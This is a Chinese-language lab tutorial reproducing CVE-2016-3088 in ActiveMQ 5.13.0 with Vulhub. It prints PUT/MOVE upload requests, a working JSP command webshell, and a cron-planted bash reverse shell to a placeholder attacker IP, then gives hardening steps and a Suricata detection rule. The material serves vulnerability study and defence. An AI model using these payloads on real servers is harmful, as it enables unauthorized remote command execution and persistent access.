实战指南：ActiveMQ 5.13.0漏洞环境搭建与CVE-2016-3088深度解析

在网络安全领域，漏洞复现是提升实战能力的重要途径。ActiveMQ作为一款流行的开源消息中间件，其历史版本中存在的CVE-2016-3088漏洞因其典型的任意文件上传特性，成为安全研究者的经典案例。本文将带你从零开始，构建完整的漏洞复现环境，深入剖析漏洞原理，并提供详尽的实战操作指南。

1. 环境准备与搭建

1.1 Vulhub环境部署

Vulhub是一个基于Docker的漏洞环境集合，为安全研究者提供了便捷的漏洞复现平台。以下是部署步骤：

1. 安装Docker与Docker Compose ：

   # Ubuntu/Debian系统安装示例
   sudo apt-get update
   sudo apt-get install docker.io docker-compose
   sudo systemctl enable --now docker
   

2. 获取Vulhub项目 ：

   git clone https://github.com/vulhub/vulhub.git
   cd vulhub/activemq/CVE-2016-3088
   

3. 启动ActiveMQ 5.13.0环境 ：

   docker-compose up -d
   

提示：首次启动可能需要下载基础镜像，耗时取决于网络状况。完成后可通过 docker ps 命令确认容器状态。

1.2 环境验证

成功启动后，通过浏览器访问 http://your-ip:8161 应能看到ActiveMQ管理界面。默认凭证为admin/admin。关键验证点包括：

• Fileserver应用状态 ：访问 http://your-ip:8161/fileserver ，正常应返回404（表示fileserver未启用）
• 管理员界面 ：登录后查看系统属性页面 /admin/test/systemProperties.jsp ，记录ActiveMQ安装路径

常见问题解决方案 ：

问题现象	可能原因	解决方法
无法访问8161端口	防火墙限制	开放端口或临时关闭防火墙
登录失败	凭证错误	检查docker-compose.yml中的环境变量
Fileserver返回200	配置错误	确认使用的是5.13.0版本

2. 漏洞原理深度解析

2.1 技术背景

ActiveMQ的web控制台包含三个核心组件：

1. admin ：管理员功能界面
2. api ：应用接口
3. fileserver ：文件存储服务（RESTful API）

其中fileserver设计初衷是解决二进制文件传输问题，但由于以下原因成为安全隐患：

• 无需认证即可访问
• 支持PUT/MOVE等危险操作
• 默认配置下与web应用共享文件系统

2.2 漏洞触发机制

漏洞利用涉及两个关键操作：

1. 文件上传 ：通过PUT请求将恶意文件写入fileserver

   PUT /fileserver/exploit.txt HTTP/1.1
   Host: target:8161
   Content-Length: 100
   
   [恶意内容]
   

2. 文件移动 ：利用MOVE请求将文件转移到web目录

   MOVE /fileserver/exploit.txt HTTP/1.1
   Destination: file:///opt/activemq/webapps/api/exploit.jsp
   

漏洞利用限制条件 ：

• 需要知道web应用绝对路径
• 目标位置需有写权限
• 移动后的文件需能被解析（如jsp文件需在webapps目录）

3. 实战漏洞复现

3.1 Webshell上传技术

完整操作流程 ：

1. 确认环境信息 ：

   • 访问 /admin/test/systemProperties.jsp 获取安装路径
   • 确认 /opt/activemq/webapps/api 目录存在

2. 制作简易Webshell ：

   <%@ page import="java.util.*,java.io.*"%>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   OutputStream os = p.getOutputStream();
   InputStream in = p.getInputStream();
   DataInputStream dis = new DataInputStream(in);
   String disr = dis.readLine();
   while ( disr != null ) {
       out.println(disr); 
       disr = dis.readLine(); 
   }
   %>
   

3. Burp Suite操作步骤 ：

   1. 拦截PUT请求上传webshell
   2. 构造MOVE请求转移文件
   3. 验证webshell可访问性

关键请求示例 ：

PUT /fileserver/shell.txt HTTP/1.1
Host: 192.168.1.100:8161
Content-Length: 210

<%@ page import="java.util.*,java.io.*"%>
[...webshell内容...]

MOVE /fileserver/shell.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: 192.168.1.100:8161

3.2 计划任务反弹Shell

当Webshell受限时，可通过计划任务获取更稳定访问：

1. 准备cron任务文件 ：

   */1 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/攻击IP/端口 0>&1'
   

2. 利用漏洞写入cron.d ：

   PUT /fileserver/cronjob HTTP/1.1
   Host: 192.168.1.100:8161
   Content-Length: 123
   
   [上述cron内容]
   

   MOVE /fileserver/cronjob HTTP/1.1
   Destination: file:///etc/cron.d/activemq-exploit
   

注意：Docker环境中可能缺少cron服务，需先安装：

apt-get update && apt-get install -y cron
service cron start

4. 防御与加固方案

4.1 官方修复方案

• 5.12.x~5.13.x ：修改conf/jetty.xml关闭fileserver

  <bean id="fileserver" class="...">
      <property name="start" value="false"/>
  </bean>
  

• 5.14.0+ ：完全移除fileserver组件

4.2 临时缓解措施

1. 访问控制 ：

   • 限制管理界面访问IP
   • 修改默认管理员密码

2. 网络层防护 ：

   location ~ ^/fileserver {
       deny all;
   }
   

3. 文件系统权限 ：

   chmod -R 750 /opt/activemq/webapps/
   chown -R activemq:activemq /opt/activemq
   

4.3 安全监测建议

入侵检测规则示例 （Suricata规则）：

alert http any any -> $HOME_NET 8161 (msg:"ActiveMQ可疑MOVE请求"; 
flow:to_server; http.method; content:"MOVE"; 
http.uri; content:"/fileserver/"; nocase; 
http.header; content:"Destination"; nocase; 
classtype:web-application-attack; sid:1000001; rev:1;)

在实际渗透测试项目中，我们发现多数企业修复此漏洞时存在两个典型误区：一是仅关闭fileserver但未升级版本，导致其他未公开漏洞风险；二是过度依赖WAF而忽视基础加固。最有效的防御应当是深度防御策略的组合应用。